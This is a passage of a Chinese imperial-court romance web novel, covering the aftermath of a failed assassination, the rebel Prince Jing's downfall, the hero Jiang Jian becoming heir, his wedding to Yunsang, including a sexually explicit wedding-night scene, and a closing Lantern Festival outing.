知道自己错失了良机,等待自己的将是无间地狱,姚副将面露惶恐,呜呜在地上扭动着。 “陛下~” 跑得最慢的王内监又哭又笑地将承宁帝扶起来,大大松了一口气。 云桑却没时间去管别的了,因为银色流光飞过去之后,她听到身后又是一阵咳血声,转头一看,人佝偻着腰又是呕了几口血,干脆晕了过去。 “江见!” 云桑又是慌里慌张地跑回去,将跌倒在地的江见抱起,对不远处的众人喊道:“快来个医官,他中过毒!” 一听这话,刚救完陛下的众人又赶着去救九殿下,忙作一团。 这一夜,几乎所有人都到了后半夜才睡着,云桑也是如此。 虽然医官来给他诊断过,说毒已经清了大半,还有些余毒也被医官清了,言江见会醒来,但她还是很怕江见至此一睡不醒。 担惊受怕地守着,又跟来探望的陛下说了一番中毒的来龙去脉,直到后半夜实在困倦得受不了了迷迷糊糊间睡了过去。 翌日醒来,天光大亮,床上只剩下她一个人,不见江见身影。 迷蒙间的脑子总是不大清醒的,云桑那一刻甚至冒出些乱七八糟的念头,想着难道是江见夜里咽气了,被羽林卫抬出去埋了? 转念一想,简直太可笑了。 将自己简单地收拾了一下,云桑火急火燎冲出营帐,就看见不远处陛下的营帐前,祖孙两正坐在小马扎上烤鱼,一旁的锅里还炖着鱼汤。 一起的还有郭将军和王内监。 “ 娘子你起来了,正好,鱼快烤好了,快来吃!” 听到动静,江见回头,虽然脸色还是有些发白,但比起昨日好看多了,云桑心中的石块落下。 “傅家丫头,快过来吧。” 陛下也笑吟吟地唤了一声,云桑小跑着过去,坐在江见身边的小马扎上。 虽然江见烤的鱼很好吃,但一大早起来就吃烤鱼有些油腻,她给自己盛了一碗汤,小口喝着,听着几人说起昨夜的刺杀一事。 陛下既不避讳自己,云桑自然敢听。 “呵,同时对朕和承徵下手,朕都懒得去戳破是什么心思,长安大抵也已掀起了波澜。” “陛下说的是,那末将等护卫陛下杀回长安,诛杀逆贼。” 一个天子,一个章懿太子遗孤,皆是在皇权中心的人物,若两人殒命,诸王中只看谁强谁弱即可。 承宁帝顿时想起了那几个不省心的儿子,心中气愤。 “勿让消息泄露出去,加速回长安,朕要看看究竟是哪个好儿子干的屁事!” 承宁帝气得吹胡子瞪眼,王内监则在一边奋力消火。 “这法子不大好。” 云桑却觉得这样不大稳妥,嘴一快将心里话说了出来。 瞬间,四人四双眼睛都看向了她,尤其是素来刚肃的陛下,看得云桑心中一怯。 “如何不大好,傅丫头说来听听。” 好歹是傅卿的独女,才学在长安城也一向出挑,想来平时没少受傅卿的熏陶,说不定能说出些道理来。 迎着陛下和煦的眼神,又被身边的江见催了一下,云桑努力分析道:“这只是臣女拙见,若说得不好陛下勿要见笑。” “臣女反倒觉得,陛下应当将此事泄露出去,还要将情况说得严重再严重。” 承宁帝脊背一挺,身子前倾道:“继续。” 云桑像是被给予了勇气,清了清嗓子继续道:“陛下您看,若捂住了消息,逆贼那边什么也等不到,定然以为情况有变,离长安城还有大半月的路程,说不定还会再派人手过来欲行不轨,到时防不胜防,便是麻烦,不如将刺杀一时报回长安,再说严重些,逆贼觉得自己成功了,便会掉以轻心。” 看着几人都暗暗点头的姿态,云桑信心大增,又起了个点子道:“陛下定是要加速赶回长安的,而且最好悄悄潜回去,这样才能号令剩下的羽林卫和北府禁军与逆贼对抗,打对方一个措手不及。” “而护送陛下最好的人选便是……” 云桑话语尽,慢慢看向了身边的江见。 承宁帝眸光大亮,哈哈一笑,连着喝了好几声妙。 郭将军也觉此法甚好,附和着承宁帝,王内监更是嘴甜,夸了她一通。 只剩下江见面露幽怨地看着她,那眼神分明就在控诉云桑。 他一向不喜欢和娘子分开的。 第 82 章 新婚【终章】 第82章 第 82 章 新婚 正是身强力壮的年纪, 只歇了一日,吃了一日的补药,江见那刚被毒药损害的身子便好的差不多了, 又变成活蹦乱跳的模样。 这也意味着江见要启程离开了, 带着乔装过后的陛下, 秘密赶回长安。 为了防止三千羽林卫中还有姚副将的同党,潜伏的细作, 郭将军为了揪出或者防止有人坏事,实行了连坐制, 将羽林郎原本的分配打乱,随机分配到一个营帐, 互相监察,发现同伴异样者可上报,若此人被证实是细作, 那检举者可得百金。 这无疑是个强有力的诱惑,羽林郎们蠢蠢欲动, 有的缺钱的已经开始观察同伴了。 被留下继续带队归长安的郭将军却有些放心不下, 生怕江见一个人护不住陛下。 江见对此嗤之以鼻,陛下更是信任有加, 郭将军也不好说什么了, 只王内监叮嘱了好几遍要好好照顾陛下,江见木着脸应下了。 走的时候, 江见去马群里找流云,承宁帝看着目光追随过去的云桑,想起了中秋宫宴那夜,如今全明白了。 江见很不舍得离开,但为了两人的日后能光明灿烂, 这暂时的分别便不算什么了。 辞别时,江见顺走了她身上贴身带着的香囊,说是也夜里带着它安睡。 云桑都不好意思去看陛下的脸色,只囫囵将香囊塞过去将人送走了。 怕羽林卫看顾不好人,江见不知怎么说动了莫风,莫风明显成了她的护卫,还附带给她在路过的城镇买些新鲜吃食。 似乎是怕她无聊,时不时还会说笑话解闷,就是做饭的手艺着实不好,本着好奇吃了一口莫风烤的山鸡,云桑老实回去吃原来的饭了。 江见不在的日子她清闲了许多,没人追着她说话,也没人缠着她做些让她心惊胆颤的事了,云桑悠闲归悠闲,竟觉得有些不习惯了。 郭将军御下的本事还不错,行了十日羽林卫中基本风平浪静,一切安好。 第十一日的午后,云桑收到了来自长安的信,本以为是爹爹得知消息寄给她的,然一打开看见那潦草到差点飞起来的字,云桑便知是谁了。 江见先是报了平安,感叹了一下皇帝的面子就是好使,一露面就让长安禁军听话了。 看得云桑笑了好一会,禁军首领甘将军是当年追随陛下的老臣,为人忠厚刚正,自是忠心不二。 再看下去,才知幕后真凶是景王,甚至勾结了裕王一道作乱,不仅遣人来刺杀陛下,还对英王和祁王发了难。 至于景王哪里来的人手,这就更惊人了,在长安郊外的清台山,景王竟豢养了五万私兵,还说李承欢当初出现在武都郡,便是为了替景王私运军械入长安。 再加上鲁莽急躁的裕王协助,两人势如破竹,直取皇城。 好在陛下提前回去了,在危难之际救下了英王一家,英王爷只是受了伤,并没有性命之忧。 若这几件事真让景王得手,陛下驾崩,几个王爷也尽数凋零,最后剩下景王占据皇城,就算禁军和羽林卫有所怀疑不服,也没法做什么了。 身为臣子,不仅师出无名,还会被扣上谋逆犯上的罪名。 幸好一切都还来得及,云桑感叹道。 最后一句是关于爹爹的,江见代爹爹问她回去想吃什么菜,好准备上。 云桑立即带着笑意思索了起来,提笔回信。 接下来的日子,几乎每隔几日便会来信,都是江见那些琐碎话。 比如今日干了什么,吃了什么好吃的,遇上什么趣事。 回了长安,祸乱被平息后,陛下也向外公布了江见的身份,臣民皆言老天眷顾,使得章懿太子留下一支血脉。 尘埃落定,景王身为逆党主谋,不顾父子人伦,意欲戕害君父,残害手足,承宁帝并从不是个心慈手软的帝王,从他当初处理章懿太子的手段便可看出,直接一杯毒酒断了生路。 至于裕王,念在他是从犯,不知也未参与景王弑君弑父的行径,只贬为庶人,流放到了崖州。 朝中的臣工又被清理了一边,贬的贬,杀的杀,升的升,等云桑随着三千羽林卫归来后,长安又是一片祥和繁华。 队伍还未行进长安城,云桑在车里假寐,忽听到外面传来动静,像是一队人马直冲着这边来。 直觉告诉云桑来的人一定是江见,冒着隆冬的冷意探出头去,却没有看见那身熟悉的白袍,云桑眼神黯淡了一瞬,刚想退回去,就看见一人一马向着她疾驰而来。 那马她认得,颜色如雪,正是流云。 但马上的人一身烈烈红衣,艳的晃人眼,会是江见吗? 江见酷爱穿白衣,只是一段时日不见,他的喜好就变了? 出神着,一人一马到了跟前,那张灿若朝霞的脸在一身艳红锦袍下愈发鲜妍漂亮了。 “娘子!” 少年像一轮携着霞光的灿阳,风一般落在云桑面前,驱散了周身的冷意。 虽然衣裳换了料子换了颜色,但一身装束还是江见的喜好,窄袖缺胯袍,马尾高束,脚蹬乌皮六合靴,一惯的英姿勃发,不带着长安贵公子的风雅含蓄。 看他朝自己伸出手,云桑将自己被手炉捂得暖洋洋的手伸出去,才刚受了些风,就被江见温暖的手掌握在了掌心,再也不受冷了。 “你改性子了,竟穿得这样艳丽,我差点没敢认。” 拂在面上的冷风仿佛也不冷了,云桑眸光亮晶晶地看着他好奇道。 江见也看了自己一身花团锦簇艳红色锦袍,试探问道:“我穿这样的好看吗娘子?” 接人前江见本来打算穿着自己惯常的白袍,让临走前被承宁帝叫住了,让尚衣局拿来了几件颜色鲜亮至极的衣裳,红的、紫的、黄的,江见一眼扫过去总觉得太艳,有些不习惯。 “我穿白色挺好的,这些太艳了,还是拿回去吧。” 承宁帝看着孙子一身朴素到不能再朴素的白袍,眉头蹙成了川字,不赞同道:“你现在不是江湖游侠儿了,是身份尊贵的皇孙,当穿些鲜亮的好料子,体体面面地出去,勿让人看清了去。” 他已经亏欠太子一家那么多年了,如今对上这个孙子,承宁帝无时无刻都想在他身上弥补,让自己的愧疚少些。 哪怕是吃穿住行,他都想掺和一下。 然听这小子又回绝,承宁帝心中郁闷,那脸色被一旁的王内监瞧见了,他想起了傅家小姐,灵机一动凑上来劝道:“九殿下别急着回绝嘛,想想傅姑娘,姑娘家不仅自己爱俏,也喜欢郎君俊俏,九殿下容颜昳丽俊美,最适合这等艳色的衣裳,穿上定然比平日更加风神俊朗!” 不得不说,这一番话哄到了江见心坎上,让他想起了云桑谷的那次简陋婚仪,当他穿着喜袍时娘子格外热烈的眼神。 他觉得这话说得挺有道理,他也许应该让娘子眼前一亮,这样娘子就会更喜欢他了。 目光在几套衣袍上扫了扫,江见对着那套大红色宝象花纹的锦袍抬了抬下巴道:“就这件吧。” 这么亮的颜色,定能牢牢将人抓住。 承宁帝见孙子接受了,露出欣慰的笑,回头给了王内监一个赞赏的眼神。 长安城外,江见再次看见了娘子亮晶晶的眼神,他便觉得这身衣裳换得对。 但他不满足,又追上去问,满眼期待。 云桑早已不是刚开始那个异常拘谨的姑娘了,又是上下打量了几眼,看着少年不自觉挺起胸膛的模样,莞尔一笑道:“好看,红色很适合你这张脸,比平时更惹眼了。” 亲耳听到云桑的赞美,江见一颗心都快跳出来了,喜上眉梢,他决定以后多穿穿这些花里胡哨的衣裳。 嘿嘿。 队伍驶进长安城内,那一刻,云桑觉得空气都透着熟悉感。 九莲山那日后,她都没敢想过自己还能这样光明正大地回到长安城,和江见在一起。 现在都如愿了,真好。 顾念她离家太久,陛下让郭将军先将她送回家和爹爹团聚。 经过天酩酒楼时,同江见欢喜说话的云桑没有注意到一个临窗而坐的清瘦身影。 那人似乎瘦了许多,月白色的宽袖衣袍穿在身上有些空荡荡的,更显清隽。 他一直垂着眸品茶,只在羽林卫经过时抬起眼看向下面,目光一直搜寻着,直到那个清艳红袍的少年出现,他终于看到了自己想看到的人。 同与自己在一起时的矜持端庄不同,少女此刻随意自在的多,粉润的面颊扬着烂漫明媚的笑,尽管看不清她眼神中的情绪,李承钰也能感受到从少女浑身上下释放出的欢喜。 这是极喜欢一个人的反应,仪君从不会这样对他笑,她并不喜欢他。 她从头到尾都喜欢他,如今是他堂弟的江见。 早在一个多月前,皇祖父的旨意便传到了英王府,虽然他有了些许心理准备,但接到皇祖父令父王退掉与傅家的婚事时,他还是不可避免的凉了身子。 这就是皇祖父对章懿太子的偏爱吗? 仿佛只是举手投足的一件小事,威严不可忤逆。 皇祖父那番意有所指的话李承钰当晚便说与了父母听,父王母妃似乎也早有预料,接到旨意时并没有很惊讶,只是一个接一个安慰了他,尤其是母妃,眼中满是心疼。 “我儿以后还会遇上心仪的姑娘的,向前看。” 李承钰觉得自己没法向前看,更觉得自己不会遇上像仪君一样的姑娘了。 像仪君一样,初见便觉得喜欢,默默留心了十年的姑娘。 心中的苦涩让他笑不出来,他明知这样不妥,但还是跑过来,想看她一眼。 忽然,一身红袍的江见似有所感,抬眸对上了他。 李承钰本以为,像他这样幼稚又气盛的少年会以胜利者的姿态对他耀武扬威,狠狠嘲讽他这个失败者。 但事实不是这样,发现了他的视线,江见并没有露出他预料中的神情,只是冷冷地瞪了他一眼,然后挡住了探出车窗的少女,无情地阻断了他的视线。 苦笑了一声,李承钰勒令自己将脑袋扭回来,对着一旁侍候的冯安道:“去,给我上几壶酒来,要能醉人的。” 冯安不希望世子酗酒伤身,但此时此刻也不忍拒绝世子,只能满脸心疼地去了。 见李承钰那厮不再窥视娘子,江见舒服多了,继续眉开眼笑地同云桑说话。 回到家时,爹爹果真做了先前云桑交代的饭菜,父女两人得以相聚,都是不甚唏嘘。 如今有了光明正大的身份,江见唤起岳丈来更大方了,傅允如今是半点也拒不了了。 谁能想到人的命运能这般奇妙,一个江湖游侠儿竟是章懿太子流落在外的遗孤,天翻地覆一般的变化,导致傅允现在拿这小子都有些不知怎么办。 唯一不变的是女儿同他的感情。 云桑回来第二日赐婚的圣旨便到了府上,这赐婚圣旨不仅是江见催来的,还是他送来的。 原本宣礼内侍被江见挤到了一边,他自己占据了宣旨的位置,字正腔圆,还尤其大声地将圣旨上的字读了个清清楚楚,云桑听得脸热,是窘的。 “哪有人自己宣自己的赐婚圣旨的?” “现在就有了。” 江见展颜一笑,天真纯然,露出白生生的牙齿,看起来开心极了。 婚期定在正月十二,如今已到了小年,不过两旬的时间,云桑惊讶。 “正月十二,好快的婚期。” 似乎是在对过早的婚期不满,江见想起之前娘子说得婚期越久越庄重,忙急吼吼解释道:“我没有不庄重的意思,只我受不了那么久的时间,先前老头想定在二月的,我不干,磨到了上元前,正好成完了亲咱们去逛长安的灯会嘛~” 云桑自然不是那等意思,听了这一通劈里啪啦还带着撒娇卖痴的的解释,笑得不行。 陛下在宫内给江见备了殿宇,但只云桑一回来,宫内便留不住人了,三天两头就往傅宅跑,一住就是几天,不知道以为傅家才是他家的。 承宁帝气得不行,一次等了五天都没等到江见回来,竟直接来了傅家,四个人吃了一顿饭。 就这样,日子耗到了除夕夜,承宁帝又于鸿德殿设了宴席,傅允带着一对去赴宴了。 本来承宁帝已经为江见备好了席位,然这小子从头到尾都没沾这,一门心思扎在傅家席位上,也不嫌埋汰同傅家丫头挤在一块。 热热闹闹的除夕宴,承宁帝却觉得冷冷清清的,最后还是傅家丫头看出他的心事,领着那小子上前献艺,两人一个吹笛一个吹埙,奏了一新鲜的曲子。 承宁帝高兴了,赏了一 堆东西,知道孙儿的心思,干脆全都将东西赐给了傅家,省的他再送一趟。 除夕宫宴,多数人大醉而归,主宾尽欢。 承宁帝心中高兴,也多饮了些,快到尾声时实在不胜酒力,由内侍扶着去偏殿歇息了。 走前让人去唤江见,江见虽不是很爱听老头说那些陈芝麻烂谷子的往事,但最后还是去了。 算了,要是不理又得生气,人年纪大了总生气不好。 跟着内侍到了偏殿,江见看到了倚在软榻上的承宁帝,见他招了招手让自己坐过去。 江见不懂什么帝王殊荣那些规矩,只觉寻常人家便是这般相处的,而且是老头让他坐的,不坐还得生气呢。 王内监奉上一盏醒酒汤,承宁帝一口饮了,大概是又忆起了往事,神色恍惚,不过这回他并没有絮叨,只看着江见道:“承徵,你会不会怨恨祖父?” 除了絮叨外,江见还最怕这个便宜祖父这样肉麻的话。 抖了一身鸡皮疙瘩,江见无所谓道:“谈不上怨恨吧,我这些年过得也挺好的,不觉得苦,当然,你要是愧疚便多弥补弥补我,比如金山银山的。” 江见一惯是个直白的性子,不喜拐弯抹角。 承宁帝被他这副贪财的嘴脸弄得一叹,觉得是从小穷怕了,才养出这样的想法。 “钱财是最不值得一提的小事,祖父可以给你更多更好的东西,你想要吗?” 江见被他这话逗起了些心思,言道:“我想想,我除了娘子和钱财外似乎也没有什么想要的东西了,你还会有什么好东西?” 承宁帝心中骂了一句没出息,但还是耐心答道:“储君之位。” 这话听得江见一愣,以为是自己幻听了,亦或者是便宜祖父失心疯了,才能说出这句话。 他从未想过这方面的。 “莫不是吃多了酒说胡话,确定是让我来?” 这活他可没干过,江见觉得比之前接的所有任务加一块都难。 “你没听错,储君之位,本就是你父亲的,如今只是回到了你父亲一脉,有何不妥?” 江见既觉得有理又觉得不妥,反驳道:“可这个看起来很难,我不想干这个,而且我什么都不会,就不怕我亡了你这个国?” 江见设想了一下最凄惨的结局,自己在那摇了摇头。 承宁帝嘴角抽搐了一会,也不管这小子晦气的话,只问道:“识字吗?” 这话让江见眼一瞪,恼火道:“瞧不起谁呢,我虽然字写得丑了点,但好歹也是跟着我师父念过书的,怎会不识字,不过如长安旁的公子那般吟诗作赋什么的我就不会了,那玩意太难了。” 说到后面,江见声音小了一个度,因为他也曾因为这个怕娘子嫌弃他。 承宁帝转了转手上的玉扳指,神情正经道:“帝王不需要会吟诗作赋,会治国安民,驾驭群臣便够了。” “虽然你在乡野长大,无拘浪荡了些,但不算长歪,只需后天勤加努力便可,我虽上了年纪,但这身子骨没病,少数还能活个十年,只要不是个呆傻的,这十年将你教导出来不是不能。” “只要你肯学。” 承宁帝拍了拍江见的胳膊,语重心长。 承宁帝觉得,此子虽在江湖绿林长大,没有经过礼教熏陶,但好在心底磊落正气,没有残忍奸邪的心性,人看着也机灵。 就是一颗心总挂在傅家丫头身上有些没出息,但也许这也是有利有弊的。 一个品行端正颖慧的妻子,未来一生都会是丈夫的助力,帝王之路最是容易走偏,承宁帝亲自领教过,深知其中利害。 傅家丫头可能就会成为此子的一方制约,使他时刻被引导在正道上。 当然,傅卿这个岳丈更是一个好帮手,朝堂之上,会对孙子助益良多。 思来想去,承宁帝觉得可行,遂宫宴将人喊来开了这个口。 他凝着江见,面容沉肃,试图交托这份大业。 江见本对当储君没什么兴趣的,身上的担子先不说,他就不能天天黏着娘子了。 想拒绝的,灵光一闪顿住了,看着承宁帝试探着开口问道:“若我不当这个储君,这个位置会传给谁?” 承宁帝也不遮掩,一五一十道:“老三和老五出局,老四人太过闲散平庸,只有……” “只有英王府?” 江见抢先道出了答案,脸色急变。 英王继承了储君之位,待便宜祖父不在后英王便是执掌生杀予夺的皇帝,李承钰那厮便是太子,若那时他还对娘子有想法,岂不是糟糕透顶? 脸色飞速变换一阵,江见做出了有史以来最鲁莽的决定。 “好,我干!” …… 除夕守岁,云桑没熬住,没到子时便靠着爹爹睡着了,再睁眼已经是第二日。 也不知昨夜是怎么了,仅元日这一日,江见成了皇太孙的消息猝不及防便下来了,整个长安都沸沸扬扬。 云桑是不可置信的,不敢想江见那等性子竟成了储君,如天外逸闻。 可事实就是这样,那道圣旨通过了三省,颁布至整个天下。 因为太过匪夷所思,再见到江见,云桑都觉得像在做梦。 但这些都没有占据江见的内心,此刻他正一日一日等着婚期到来。 年后过得很快,年初三落了一场不大不小的雪,那一日江见跑来同她堆了一日的雪人。 年初七那日,江见往上官大夫家跑了一趟,喜气洋洋地回来了,云桑当时好奇问了一嘴,就见江见捧出了那一盒子满满当当的药丸。 “这是能让咱们敦伦但又不会让娘子生小娃娃的神药。” 云桑心里一咯噔,后悔去问了。 天公作美,到了正月十二那日,通通化了个干净,天气暖阳四照,处处莺啼。 云桑无需去看那些册子,但成婚前夜还是半宿没睡着,好在婚仪在晚间,她也不必起早。 爹爹也不会催她,任由她睡到了日上三竿。 浴身过后,看着快到了时辰,云桑坐在镜前,由妆娘开面上妆。 江见如今是太孙,她的婚仪喜服便不是皇孙妃那样的制式,更贵重华丽了,但也更繁琐沉重了。 期间爹爹怕她饿,给她送了好几碟糕点,云桑吃得肚子圆圆。 终于,黄昏到来,云桑也熬到了江见来接亲。 爹爹亲手将盖头盖上,送她出门。 看着爹爹发红的眼眶,云桑也在盖头下偷偷哭了几鼻子,好在无人发现。 江见仍是一身大红色喜袍,不过这回她看不到他的脸了,然云桑不用看也知这人定然笑得春花灿烂。 被一双温暖的手掌搀扶上婚车,离开时,她察觉到掌心被捏了捏,听到江见的低语。 “娘子,今夜等着我。” 本就红润的面颊愈演愈烈,像是要烧起来似的。 皇室的婚仪流程很复杂,就连云桑都有些累了,却发现江见有条不紊,神采奕奕,可谓是人逢喜事精神爽。 完成了婚仪流程,云桑率先回到了东宫的寝殿,顶着盖头等着江见来与她完成做夫妻的最后一步。 如那日在云桑谷一样,他回来得很快,身上虽然有酒气但不见醉态。 金杆挑开了压在她眼前得红盖头,长久得红让云桑适应了好一会才能看清江见瑰丽俊美的脸。 “娘子今夜真好看。” “我哪日不好看了?” 云桑有意为难他,故意抬杠道。 江见一愣,笑嘻嘻道:“哪日都好看,一日比一日好看。” 说完,也不管旁边还有宫人,凑上来亲了她一口。 云桑见四下宫人垂眸偷笑,羞得瞪了他一眼。 尚仪局的女官作为合卺结发礼的负责姑姑,唱完吉利的词,就要开始进行结发礼。 可他们已经结过一次了。 看出了云桑的苦恼,江见笑眯眯道:“这样更好,我们比人家多一次,更牢固了。” 云桑闻言一笑,也不纠结了。 合卺酒一杯下肚,在对上这洞房花烛夜,云桑竟有些打飘。 宫人轻柔地摘下她的婚冠,侍候她洗漱过后,便尽数退了出去,将今夜留给了这对新婚夫妻。 云桑坐在床边,看着江见去盒子里吞了一丸药,才踏着急不可耐的步伐爬上床。 “上官朔说了,这药一丸可以撑三个时辰,应当足够用了。” 寝殿内烧了许多炭盆,很暖,就算脱了衣裳也不怕着凉。 因为被江见的唇舌缠得神志不清,云桑也不知江见何时动的手,等意识到时已是两具身躯相贴,一具比一具火烫。 这次,江见知道自己不必在做些假动作,那物什看起来尤为亢奋,颜色也更艳了。 充分学习了那些册子,江见知道女子头遭会难受,便提前做足了功夫,用唇舌极近讨好,勾出一片水草丰茂来。 眼前的沼泽几乎要将他溺毙,江见看得发愣,指尖感受了一番再看娘子那几欲盛放的神态,江见知时候到了。 云桑脑袋昏沉地躺在柔软的锦褥间,一颗心随着江见唇间翻涌,几乎窒息。 不知什么时候,柔刃褪去,江见换了个更折腾人的上来。 纤细的脚踝搭在肌肉鼓动的肩胛上,云桑浑身一烫,虽然只是个开头,却让她紧张地连带着呼吸都急促了起来,面颊灿若烟霞。 很烫,也很硌人,如之前双腿所感受到的那样,丝毫不像个血肉做成的东西,很神奇。 从里到外都感受到了云桑的紧张,江见亦是鬓边生汗,但更多的是爽快。 实在是太小了,使得他有些发疼,但伴随而来的是极致的爽快。 吻密密麻麻地缠上去,试图让云桑放松,使得接下来的进程顺利些。 这很有用,在他的温柔厮磨下,另一边也在一点一滴地推进,直至再无可进。 然还剩了一部分在外面,没有得到全方面的覆盖。 但他不是那等贪心之人,按着册子上所教授的,轻摆慢晃,只那么几十下,那被拒之门外的部分也有了归处,彻底融合了 最难捱的开头被熬过了,云桑大口喘着气,感受着江见温柔的来去,只觉得满心酸胀难言。 她想着,若江见能一直是这样便好了,但她是见识过江见耐力和速度的人,只觉得前路坎坷,风浪蠢蠢欲动。 不知温柔了多久,江见瞧娘子面上飘然恍惚,知娘子已经完全适应了,低喘着凑过来道:“娘子准备好,我要不客气了。” 还没等云桑反应过来应一声好,柔和的水波不再,狂风巨浪袭来,将她这一叶扁舟拍入所谓情.欲的浪潮中,再没能起来。 他太重了,使云桑根本咬不住唇,但也实在是太快了,出口的声音破碎不堪,一个音节还没哼完,下一个便接了上来,云桑想求饶让他慢些都始终拼不出一句完整的话来,只能用那双软而无力的臂膀去捶打对方,但收效甚微不说,还起了反作用,让那一下下夯击更快更重了。 云桑只觉得这一夜十分漫长,累极了也舒畅极了。 …… 正月十五,上元佳节,长安城陷入灯海,满城辉煌。 云桑觉得乘香车穿行灯会没有扎在人群中有趣,便拉着江见挤入人潮中。 有江见在,云桑不怕自己被挤出什么事来。 陛下今年在城内建造了一个仙人灯,十分壮丽神异,引得全城百姓出动。 云桑挑着从尚宫局给她精心制作的仙殿灯,快乐地同江见穿行在人海中。 怕云桑被挤没了,江见死死拉着她的手,一双眼睛更是时刻盯着。 “娘子你跑慢点,小心被挤丢了~” 江见觉得自己好像牵了一只翩跹的蝴蝶,心中时刻担惊受怕。 云桑看着眼前的繁华热闹,回眸嫣然道:“怎么会,不是还有你,丢不了。” 这话让江见听得很舒畅,他美滋滋地应了一声自然,伸手将云桑揽进了怀里,罩在了氅衣中。 云桑失笑,随他去了。 到了护城河畔,在人群中钻够了的两人对放灯生了兴趣,各要了一盏天灯。 这是上元独有的祈福之灯,只要放飞前许下愿望,天灯便能将其带到天上,被天神聆听。 不管到底有没有用,总是一份期盼。 二人各自许了自己的愿望,满怀虔诚地放飞了天灯。 就好像知道两人是夫妻似的,两盏天灯也始终缠绕在一处,直到化作两个橘色的光点。 “娘子许了什么愿望?” 江见好奇问道,云桑摇头拒绝:“愿望说出来就不灵了,你也不要说出来。” 江见笑,眉眼粲然道了一声好。 两盏天灯遥遥飞去,带着主人的心愿。 愿国泰民安,与子偕老。 愿娘子所求,皆能成真。